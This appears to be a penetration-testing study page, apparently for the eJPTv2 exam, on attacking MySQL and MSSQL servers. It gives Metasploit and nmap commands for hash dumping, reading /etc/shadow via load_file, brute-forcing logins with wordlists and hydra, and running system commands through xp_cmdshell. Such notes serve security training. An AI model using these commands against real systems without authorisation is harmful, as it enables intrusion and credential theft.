> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/enumeration/mysql-and-mssql.md).

# MySQL & MSSQL

### MySQL

One of the most common open versions of the SQL database is MySQL.

* it allow many users to store data into the database
* It's very common to find on an enterprise network
* It's also very often misconfigured and very vulnerable.
* 3306 default port

```
mysql -h <IP> -u root 
```

* we can look at the databases&#x20;

<pre><code><strong>> show databases;
</strong></code></pre>

* use \<databases\_name>;

```
> use books;
```

```
> select * from authors;
```

> help

**Metasploit**

```
msfconsole -q 
> use auxiliary/scanner/mysql/mysql_writable_dirs
> set rhosts <IP>
> set dir_list /usr/share/metasploit-framework/data/wordlists/directory.txt
> set verbose false
> advanced
> set password "" 
> exploit
```

*Note: "advance" command to see advance option in metasploit*&#x20;

* to know if the file are readable

```
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <IP>
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""
exploit
```

* to get password hashes of users via MySQL

```
msfconsole 
> use auxiliary/scanner/mysql/mysql_hashdump
> set username root
> options
> exploit
```

* reading /etc/shadow using MySQL

```
mysql -h <IP> -u root
> select load_file("/etc/shadow");
```

* empty-password

```
nmap <IP> -sV -p3306 --script=mysql-empty-password
```

* MySQL info \[capabilites like InteractiveClient]

```
nmap <IP> -sV -p3306 --script=mysql-info
```

* user enumeration

```
nmap <IP> -sV -p3306 --script=mysql-users --script-args="mysqluser='root',mysqlpass=''"
```

* database enumeration

```
nmap <IP> -p3306 --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''""
```

* database variable - useful for knowing data directory (datadir)

```
nmap <IP> -p3306 --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''""
```

* MySQL audit

```
nmap <IP> -p3306 --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'""
```

* dump hashes&#x20;

```
nmap <IP> -p3306 --script=mysql-dump-hashes --script-args="username='root',password=''""
```

* to run query through nmap

```
nmap <IP> -p3306 --script=mysql-query --script-args="query='select count(*) from books.authors;' username='root',password=''""
```

**MySQL Dictionary Attack**

```
msfconsole -q
> use auxiliary/scanner/mysql/mysql_login
> set rhosts <IP>
> set pass_file /usr/share/metasploit-framework/data/wordlists/unix_password.txt
> set verbose false
> set stop_on_success true
> set username root
> run
```

```
hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <IP> mysql
```

**MSSQL Nmap Scripts**

* Default port 1433
* NTML info&#x20;

```
nmap <IP> -p1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433
```

* MSSQL bruteforce

```
nmap <IP> -p1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt, passdb=/root/Desktop/wordlists/100-common-passwords.txt 
```

* MSSQL empty password check

```
nmap <IP> -p1433 --script ms-sql-empty-password
```

* Query execution

```
nmap <IP> -p1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * FROM master..syslogins" -oN output.txt
```

* hashes dump

```
nmap <IP> -p1433 --script ms-sql-dump-hashes --script-args mssql.username=admin, mssql.password=anamaria 
```

* command injection/execution

```
nmap <IP> -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin, mssql.password=anamaria, ms-sql-xp-cmdshell.cmd="ipconfig"
```

```
nmap $ip -p1433 --script ms-sql-xp-cmdshell --script-args="mssql.username=admin, mssql.password=anamaria, ms-sql-xp-cmdshell.cmd='type C:\flag.txt'"
```

**MSSQL Metasploit**

```
nmap <IP> -p1433 --script ms-sql-info
```

* bruteforce for credential enumeration

```
msfconsole -q
> use auxiliary/scanner/mssql/mssql_login
> setg rhosts <IP>
> set user_file /root/Desktop/wordlist/common_users.txt
> set pass_file /root/Desktop/wordlist/100-common-passwords.txt
> set verbose false
> options
> run
```

* MSSQL enumeration \[overall]

```
msfconsole -q
> use auxiliary/admin/mssql/mssql_enum
> setg rhosts <IP>
> set user_file /root/Desktop/wordlist/common_users.txt
> set pass_file /root/Desktop/wordlist/100-common-passwords.txt
> set verbose false
> options
> run
```

* Enumeration and Logins

```
msfconsole -q
> use auxiliary/admin/mssql/mssql_enum_sql_logins
> setg rhosts <IP>
> set user_file /root/Desktop/wordlist/common_users.txt
> set pass_file /root/Desktop/wordlist/100-common-passwords.txt
> set verbose false
> options
> run
```

* command execution via msfconsole&#x20;

```
msfconsole -q
> use auxiliary/admin/mssql/mssql_exec
> setg rhosts <IP>
> set cmd whoami
> run
```

* domain account enumeration

```
msfconsole -q
> use auxiliary/admin/mssql/mssql_enum_domain_accounts 
> setg rhosts <IP>
> run
```